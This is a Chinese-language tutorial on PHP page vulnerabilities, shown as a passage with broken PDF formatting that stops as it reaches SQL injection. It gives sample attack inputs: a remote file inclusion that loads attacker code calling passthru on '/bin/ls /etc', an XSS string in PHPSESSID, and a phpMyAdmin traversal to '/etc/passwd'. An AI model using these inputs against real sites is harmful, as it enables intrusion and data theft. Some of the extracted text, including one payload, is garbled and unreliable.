background image

php 页面漏洞分析及相关问题解决

从现在的网络安全来看,大家最关注和接触最多的

WEB 页面漏洞应该是 ASP 了,在

这方面,小竹是专家,我没发言权。然而在

PHP 方面来看,也同样存在很严重的安全问题,

但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下

PHP 页面的相关漏洞吧。

  我对目前常见的

PHP 漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚

本命令执行漏洞,文件泄露漏洞,

SQL 注入漏洞等几种。当然,至于 COOKIE 欺骗等一部

分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下
怎样利用这些漏洞吧

!

  首先,我们来讨论包含文件漏洞。这个漏洞应该说是

PHP 独有的吧。这是由于不充

分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以

WEB 进程权限在

系统上执行任意命令。我们来看一个例子:假设在

a.php 中有这样一句代码:

以下是引用片段:
include($include."/xxx.php");
  

?>

  在这段代码中,

$include 一般是一个已经设置好的路径,但是我们可以通过自己

构造一个路径来达到攻击的目的。比方说我们提交

:a.php?include=http://web/b.php,这个 web

是我们用做攻击的空间,当然,

b.php 也就是我们用来攻击的代码了。我们可以在 b.php 中

写入类似于

:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web

服务器应该不能执行

php 代码,不然就出问题了。相关详情可以去看<<如何对 PHP 程序中

的 常 见 漏 洞 进 行 攻 击

>>) 。 在 这 个 漏 洞 方 面 , 出 状 况 的 很 多 , 比 方 说 :PayPal  Store 

Front,HotNews,Mambo  Open  Source,PhpDig,YABB  SE,phpBB,InvisionBoard,SOLMETRA 
SPAW Editor,Les Visiteurs,PhpGedView,X-Cart 等等一些。

  接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的

URI 参数缺少

充分过滤,提交包含恶意

HTML 代码的数据,可导致触发跨站脚本攻击,可能获得目标用

户 的 敏 感 信 息 。 我 们 也 举 个 例 子

: 在 PHP  Transparent 的 PHP  PHP  4.3.1 以 下 版 本 中 的

index.php 页面对 PHPSESSID 缺少充分的过滤,我们可以通过这样的代码来达到攻击的目

:http://web/index.php?PHPSESSID=">在 script 里面我们可以构造函数来获得用户的一些敏

感 信 息 。 在 这 个 漏 洞 方 面 相 对 要 少 一 点 , 除 了

PHP  Transparent 之 外 还 有 :PHP-

Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board 等等。

再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过

滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的
phpMyAdmin 来做例子。在 phpMyAdmin 中,export.php 页面没有对用户提交的'what'参数进
行充分过滤,远程攻击者提交包含多个

'../'字符的数据,便可绕过 WEB ROOT 限制,以

WEB 权 限 查 看 系 统 上 的 任 意 文 件 信 息 。 比 方 说 打 入 这 样 一 个 地 址 :export.php?
what=../../../../../../etc/passwd%00  就可以达到文件泄露的目的了。在这方面相对多一点,

:myPHPNuke,McNews 等等。

  最后,我们又要回到最兴奋的地方了。想想我们平时在

asp 页面中用 SQL 注入有多